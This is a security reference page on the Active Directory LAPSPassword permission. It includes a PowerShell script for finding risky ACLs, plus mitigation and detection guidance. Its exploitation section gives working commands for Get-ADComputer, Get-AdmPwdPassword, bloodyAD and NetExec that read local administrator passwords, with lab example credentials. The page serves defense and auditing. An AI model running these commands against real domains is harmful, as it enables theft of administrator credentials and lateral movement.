LAPSPassword
Summary
FSProtect ACL Alias
LAPSPassword
AD Alias
No alias.
Affected Object Types
Computers
Exploitation Certainty
Certain
AD Attribute
ms-Mcs-AdmPwd
AD Right
Extended Right
Description
The LAPSPassword
permission grants the authority to read local administrator passwords managed by the Local Administrator Password Solution (LAPS) in Active Directory. This permission enables system administrators to securely retrieve and manage the local administrator password of each computer. LAPS ensures that unique and complex passwords are generated for each computer, allowing passwords to be rotated automatically on a regular schedule. The LAPSPassword
permission facilitates support and management processes by ensuring that these passwords are accessible when needed.
However, when this permission is misconfigured, it creates serious security vulnerabilities. A threat actor with the LAPSPassword
permission extracts the credentials of local administrator accounts on target machines. Since these credentials are typically configured with extensive privileges, they are used by the attacker to infiltrate the corporate network, gain access to critical infrastructure, and carry out malicious activities. Additionally, this permission allows an attacker to maintain persistent access to systems and move laterally within the network using standard lateral-movement techniques.
Identification
You can identify LAPSPassword
in the domain with this script
1. Find-LAPSPassword function
function Find-LAPSPassword {
[CmdletBinding()]
param ( [string]$SearchBase = $null,[string]$OutputPath = "LAPSPassword.csv")
# Load ActiveDirectory module if not already loaded
Import-Module ActiveDirectory
Write-Host "Gathering Active Directory computer objects and inspecting ACLs for explicit LAPS password read permissions..."
# Access Control Type of Access Control Entry (Allow)
$AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow;
# Active Directory Rights of Access Control Entry (ExtendedRight is used for specific GUIDs)
$ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight;
$LAPSPasswordPermissionGuid = $null
try {
$RootDSE = [ADSI]"LDAP://RootDSE"
$SchemaNamingContext = $RootDSE.schemaNamingContext
$msMcsAdmPwdAttr = [ADSI]"LDAP://CN=ms-Mcs-AdmPwd,$SchemaNamingContext"
$LAPSPasswordPermissionGuid = New-Object System.Guid($msMcsAdmPwdAttr.schemaIDGUID)
if ($LAPSPasswordPermissionGuid -eq '00000000-0000-0000-0000-000000000000'){
Throw "ms-Mcs-AdmPwd attribute cannot be found. Ensure LAPS is successfully installed and schema is extended."
}
Write-Host "Successfully retrieved LAPS password attribute GUID: '$LAPSPasswordPermissionGuid'."
}
catch {
Write-Error "Failed to retrieve LAPS password attribute GUID. $($_.Exception.Message)"
Write-Error "Cannot proceed. Please ensure LAPS is installed and the schema is extended, and you have permissions to read the schema."
return
}
$adComputerParams = @{
Filter = "*"
Properties = "nTSecurityDescriptor"
ErrorAction = "Stop"
}
if ($SearchBase) {
$adComputerParams.Add("SearchBase", $SearchBase)
Write-Host "Searching for computer objects within '$SearchBase'."
} else {
Write-Host "Searching for all computer objects in the domain."
}
$foundAcls = @()
try {
$objectsToScan = Get-ADComputer @adComputerParams
if (-not $objectsToScan) {
Write-Output "No Active Directory computer objects found matching the criteria."
return
}
foreach ($obj in $objectsToScan) {
$ComputerDistinguishedName = $obj.DistinguishedName;
try {
$acl = Get-Acl -Path "AD:$ComputerDistinguishedName"
foreach ($ace in $acl.Access) {
if ($ace.AccessControlType -eq $AccessControlType -and
($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and # Use -band for bitwise comparison
($ace.ObjectType -eq $LAPSPasswordPermissionGuid)) {
$foundAcls += [PSCustomObject]@{
'Vulnerable Computer' = $ComputerDistinguishedName
'Internal Threat' = $ace.IdentityReference.Value
}
}
}
}
catch {
Write-Warning "Could not retrieve ACL for '$ComputerDistinguishedName': $($_.Exception.Message)"}
}
}
catch {
Write-Error "Failed to retrieve Active Directory computer objects: $($_.Exception.Message)"
return
}
# Export the results to CSV if any were found
if ($foundAcls.Count -gt 0) {
Write-Host "Found $($foundAcls.Count) Active Directory computer object(s) with explicit LAPS password read permissions (excluding default admin groups and built-in accounts)."
try {
# Filter out duplicate entries before exporting based on both columns
$foundAcls | Sort-Object -Unique 'Vulnerable Computer', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Output "Results exported successfully to '$OutputPath'"
}
catch {
Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
}
} else {
Write-Output "No Active Directory computer objects found with explicit LAPS password read permissions (excluding default admin groups and built-in accounts)."
}
}
2. Scan all domain Computers
Find-LAPSPassword
3. Using SearchBase to limit the search scope
Find-LAPSPassword -SearchBase 'OU=workstations,DC=forestall,DC=Labs'
Exploitation
This vulnerability can be exploited on Windows systems with PowerShell, while on Linux systems, tools such as BloodyAD can be used for exploitation.
Windows
An attacker can perform the LAPSPassword
attack with this cmdlets on windows.
With Get-ADComputer
Get-ADComputer -Identity '<Vulnerable Computer>' -Properties ms-Mcs-AdmPwd| Select-Object Name, @{Name="ms-Mcs-AdmPwd";Expression={$_.Item("ms-Mcs-AdmPwd")}} | Format-List
Example:
Get-ADComputer -Identity 'VM01$' -Properties ms-Mcs-AdmPwd| Select-Object Name, @{Name="ms-Mcs-AdmPwd";Expression={$_.Item("ms-Mcs-AdmPwd")}} | Format-List

With Get-AdmPwdPassword
(AdmPwd.PS should be installed AdmPwd.PS)
Get-AdmPwdPassword -ComputerName '<Vulnerable Computer>'
Example:
Get-AdmPwdPassword -ComputerName 'VM01'

Linux
Using BloodyAD to read the LAPS Password
To scan the domain and retrieve all accessible passwords
bloodyAD --host "<DC IP>" -d "<Domain FQDN>" -u "<Username>" -p '<Password>' get search --filter '(ms-Mcs-AdmPwd=*)' --attr ms-Mcs-AdmPwd
Example:
bloodyAD --host dc01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get search --filter '(ms-Mcs-AdmPwd=*)' --attr ms-Mcs-AdmPwd
To retrieve passwords from a specific computer
bloodyAD --host "<DC IP>" -d "<Domain FQDN>" -u "<Username>" -p '<Password>' get object '<Vulnerable Computer>' --attr ms-Mcs-AdmPwd
Example:
bloodyAD --host dc01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get object 'vm01$' --attr ms-Mcs-AdmPwd

Using NetExec
nxc ldap <dcip> -u <user> -p '<pass>' -M laps
Example:
nxc ldap dc01.forestall.labs -u adam -p 'Temp123!' -M laps

Mitigation
Risky Access Control Entries should be removed by following the steps below.
1. Identify accounts allowed to read
(Find-AdmPwdExtendedRights -Identity Workstations).ExtendedRightHolders

2. Write below script (or copy/paste)
# Load ActiveDirectory module
Import-Module ActiveDirectory
# Parameters
$OU = "OU=Workstations,DC=forestall,DC=labs"
$User = "FORESTALL\adam"
# Get the DirectoryEntry object for the OU
$ouEntry = [ADSI]"LDAP://$OU"
# Translate user name to NTAccount SID
$ntAccount = New-Object System.Security.Principal.NTAccount($User)
$sid = $ntAccount.Translate([System.Security.Principal.SecurityIdentifier])
# Get current security descriptor
$securityDescriptor = $ouEntry.ObjectSecurity
# Get all access rules for the user
$accessRules = $securityDescriptor.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
$rulesToRemove = $accessRules | Where-Object { $_.IdentityReference -eq $sid -and $_.ActiveDirectoryRights -match "ExtendedRight|ReadProperty|WriteProperty" }
# Remove matching ACEsimage-5
foreach ($rule in $rulesToRemove) {
$securityDescriptor.RemoveAccessRule($rule) | Out-Null
}
# Commit changes
$ouEntry.ObjectSecurity = $securityDescriptor
$ouEntry.CommitChanges()
Write-Host "[+] Removed LAPS extended rights for $User from $OU"

Detection
Adding new Access Control Entries to Active Directory objects changes the ntSecurityDescriptor attribute of the objects. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications.
5136
A directory service object was modified.
ntSecurityDescriptor
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessList, AccessMask
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
References
Last updated
Was this helpful?